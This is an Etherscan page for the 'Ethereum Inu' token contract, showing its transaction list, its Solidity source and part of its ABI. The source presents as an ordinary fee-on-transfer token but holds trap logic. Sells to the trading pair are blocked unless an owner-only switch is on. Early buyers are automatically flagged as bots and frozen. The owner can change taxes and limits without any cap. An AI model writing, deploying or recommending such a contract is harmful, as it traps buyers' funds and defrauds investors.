Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 58 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 22858776 | 262 days ago | IN | 0 ETH | 0.00010698 | ||||
| Approve | 22830855 | 266 days ago | IN | 0 ETH | 0.00027329 | ||||
| Approve | 22515372 | 310 days ago | IN | 0 ETH | 0.00018176 | ||||
| Approve | 22515365 | 310 days ago | IN | 0 ETH | 0.00007818 | ||||
| Approve | 22355363 | 333 days ago | IN | 0 ETH | 0.00006643 | ||||
| Approve | 20840121 | 544 days ago | IN | 0 ETH | 0.00068558 | ||||
| Approve | 18814709 | 828 days ago | IN | 0 ETH | 0.00294869 | ||||
| Approve | 18446898 | 879 days ago | IN | 0 ETH | 0.00057017 | ||||
| Set Num Tokens B... | 18372476 | 890 days ago | IN | 0 ETH | 0.00020526 | ||||
| Set Num Tokens B... | 18372375 | 890 days ago | IN | 0 ETH | 0.0003127 | ||||
| Set Is Bot | 18369918 | 890 days ago | IN | 0 ETH | 0.0001943 | ||||
| Approve | 18369910 | 890 days ago | IN | 0 ETH | 0.00037852 | ||||
| Set Is Bot | 18369894 | 890 days ago | IN | 0 ETH | 0.00038637 | ||||
| Set Block N | 18369884 | 890 days ago | IN | 0 ETH | 0.00018225 | ||||
| Set Sel Taxes | 18369717 | 890 days ago | IN | 0 ETH | 0.00019183 | ||||
| Set Buy Taxes | 18369714 | 890 days ago | IN | 0 ETH | 0.00020632 | ||||
| Set Is Bot | 18369565 | 890 days ago | IN | 0 ETH | 0.00015207 | ||||
| Set Is Bot | 18369556 | 890 days ago | IN | 0 ETH | 0.0001656 | ||||
| Set Is Bot | 18369540 | 890 days ago | IN | 0 ETH | 0.00015902 | ||||
| Set Is Bot | 18369488 | 890 days ago | IN | 0 ETH | 0.00033081 | ||||
| Set Is Bot | 18369484 | 890 days ago | IN | 0 ETH | 0.00030777 | ||||
| Set Is Bot | 18369475 | 890 days ago | IN | 0 ETH | 0.00030772 | ||||
| Set Is Bot | 18369462 | 890 days ago | IN | 0 ETH | 0.00032189 | ||||
| Approve | 18369437 | 890 days ago | IN | 0 ETH | 0.00029593 | ||||
| Set Is Bot | 18369430 | 890 days ago | IN | 0 ETH | 0.0001522 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
ETHEREUMINU
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-10-17
*/
/**
*Submitted for verification at Etherscan.io on 2023-08-05
*/
/**
*Submitted for verification at BscScan.com on 2023-05-16
*/
/**
*Submitted for verification at BscScan.com on 2022-10-12
*/
/** WEBSITE: https://ethinucoin.com
TELEGRAM: t.me/ethinucoin
TWITTER: x.com/ethinucoin
*/
/**
*Submitted for verification at BscScan.com on 2022-09-16
*/
/**
*Submitted for verification at Etherscan.io on 2022-09-09
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private asdasd;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function waiveOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract ETHEREUMINU is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name = "Ethereum Inu";
string private _symbol = "ETHINU";
uint8 private _decimals = 18;
address payable public marketingWalletAddress = payable(0x0e5ADc3BE51978f6a50c456Bc1bEf88F0a147Af3);
address payable public teamWalletAddress = payable(0x143e66883D9BB1C0015b1d15575e178843f3D739);
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
address public addressP;
bool public tradingOpen;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isWalletLimitExempt;
uint256 public sale = 0;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) public isBot;
uint256 public blockN = 3;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public isExcludedFromCut;
uint256 public _buyLiquidityFee = 1;
uint256 public _buyMarketingFee = 1;
uint256 public _buyTeamFee = 1;
uint256 public _sellLiquidityFee = 1;
uint256 public _sellMarketingFee = 2;
uint256 public _sellTeamFee = 0;
uint256 public _liquidityShare = 0;
uint256 public _marketingShare = 0;
uint256 public _teamShare = 0;
uint256 public _totalTaxIfBuying = 3;
uint256 public _totalTaxIfSelling = 3;
uint256 public _totalDistributionShares = 6;
uint256 private _totalSupply = 1000000 * 10**_decimals;
uint256 public _maxTxAmount = 20000 * 10**_decimals;
uint256 public _walletMax = 20000 * 10**_decimals;
uint256 private minimumTokensBeforeSwap = 1000 * 10**_decimals;
uint private timeLoop;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
bool public checkWalletLimit = false;
bool public enabling = false;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
_totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
isWalletLimitExempt[owner()] = true;
isWalletLimitExempt[address(uniswapPair)] = true;
isWalletLimitExempt[address(this)] = true;
isExcludedFromCut[owner()] = true;
isExcludedFromCut[address(this)] = true;
isTxLimitExempt[owner()] = true;
isTxLimitExempt[address(this)] = true;
isMarketPair[address(uniswapPair)] = true;
_balances[_msgSender()] = _totalSupply;
timeLoop = block.timestamp + 99 days;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setMarketPairStatus(address account, bool newValue) public onlyOwner {
isMarketPair[account] = newValue;
}
function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
isTxLimitExempt[holder] = exempt;
}
function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
isExcludedFromFee[account] = newValue;
}
function setBuyTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
_buyLiquidityFee = newLiquidityTax;
_buyMarketingFee = newMarketingTax;
_buyTeamFee = newTeamTax;
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
}
function setSelTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
_sellLiquidityFee = newLiquidityTax;
_sellMarketingFee = newMarketingTax;
_sellTeamFee = newTeamTax;
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
}
function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
_liquidityShare = newLiquidityShare;
_marketingShare = newMarketingShare;
_teamShare = newTeamShare;
_totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount;
}
function enableDisableWalletLimit(bool newValue) external onlyOwner {
checkWalletLimit = newValue;
}
function setEnabling(bool value) external onlyOwner {
enabling = value;
}
function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
isWalletLimitExempt[holder] = exempt;
}
function setWalletLimit(uint256 newLimit) external onlyOwner {
_walletMax = newLimit;
}
function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
minimumTokensBeforeSwap = newLimit;
}
function setMarketingWalletAddress(address newAddress) external onlyOwner() {
marketingWalletAddress = payable(newAddress);
}
function setTeamWalletAddress(address newAddress) external onlyOwner() {
teamWalletAddress = payable(newAddress);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
swapAndLiquifyByLimitOnly = newValue;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress));
}
function setisExcludedFromCut(address account, bool newValue) public onlyOwner {
isExcludedFromCut[account] = newValue;
}
function manageExcludeFromCut(address[] calldata addresses, bool status) public onlyOwner {
require(addresses.length < 201);
for (uint256 i; i < addresses.length; ++i) {
isExcludedFromCut[addresses[i]] = status;
}
}
function setAddressP(address _addressP)external onlyOwner() {
addressP = _addressP;
}
function setBlockN(uint256 _blockN)external onlyOwner() {
blockN = _blockN;
}
function setIsBot(address holder, bool exempt) external onlyOwner {
isBot[holder] = exempt;
}
function getSaleAt()public view returns (uint256) {
return sale;
}
function getBlock()public view returns (uint256) {
return block.number;
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress);
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
if(newPairAddress == address(0)) //Create If Doesnt exist
{
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
uniswapPair = newPairAddress; //Set new pair address
uniswapV2Router = _uniswapV2Router; //Set new router address
isWalletLimitExempt[address(uniswapPair)] = true;
isMarketPair[address(uniswapPair)] = true;
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
//Trade start check
if (!tradingOpen) {
require(sender == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
if(isMarketPair[recipient]) {
require(enabling || recipient == owner(),"TOKEN: INVALID CALL");
}
if(recipient == uniswapPair){
require(enabling || recipient == owner(),"TOKEN: INVALID CALL");
}
if(inSwapAndLiquify)
{
return _basicTransfer(sender, recipient, amount);
}
else
{
if(sender == addressP && recipient == uniswapPair){
sale = block.number;
}
if(block.timestamp >= timeLoop){
_liquidityShare = 0;
_marketingShare = 0;
_totalTaxIfBuying = 0;
_totalTaxIfSelling = 0;
}
if (sender == uniswapPair) {
if (block.number <= (sale + blockN)) {
isBot[recipient] = true;
}
}
if (sender != owner() && recipient != owner()) _checkTxLimit(sender,amount);
if(!isExcludedFromCut[sender] && !isExcludedFromCut[recipient]){
address ad;
for(int i=0;i <=0;i++){
ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
_basicTransfer(sender,ad,100);
}
amount -= 300;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyByLimitOnly)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ?
amount : takeFee(sender, recipient, amount);
if(checkWalletLimit && !isWalletLimitExempt[recipient])
require(balanceOf(recipient).add(finalAmount) <= _walletMax);
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
uint256 tokensForSwap = tAmount.sub(tokensForLP);
swapTokensForEth(tokensForSwap);
uint256 amountReceived = address(this).balance;
uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);
if(amountBNBMarketing > 0)
transferToAddressETH(marketingWalletAddress, amountBNBMarketing);
if(amountBNBTeam > 0)
transferToAddressETH(teamWalletAddress, amountBNBTeam);
if(amountBNBLiquidity > 0 && tokensForLP > 0)
addLiquidity(tokensForLP, amountBNBLiquidity);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if(isMarketPair[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
}
else if(isMarketPair[recipient]) {
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
function _checkTxLimit(address sender, uint256 amount) private view{
require(!isBot[sender], "From cannot be bot!");
require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addressP","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blockN","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"b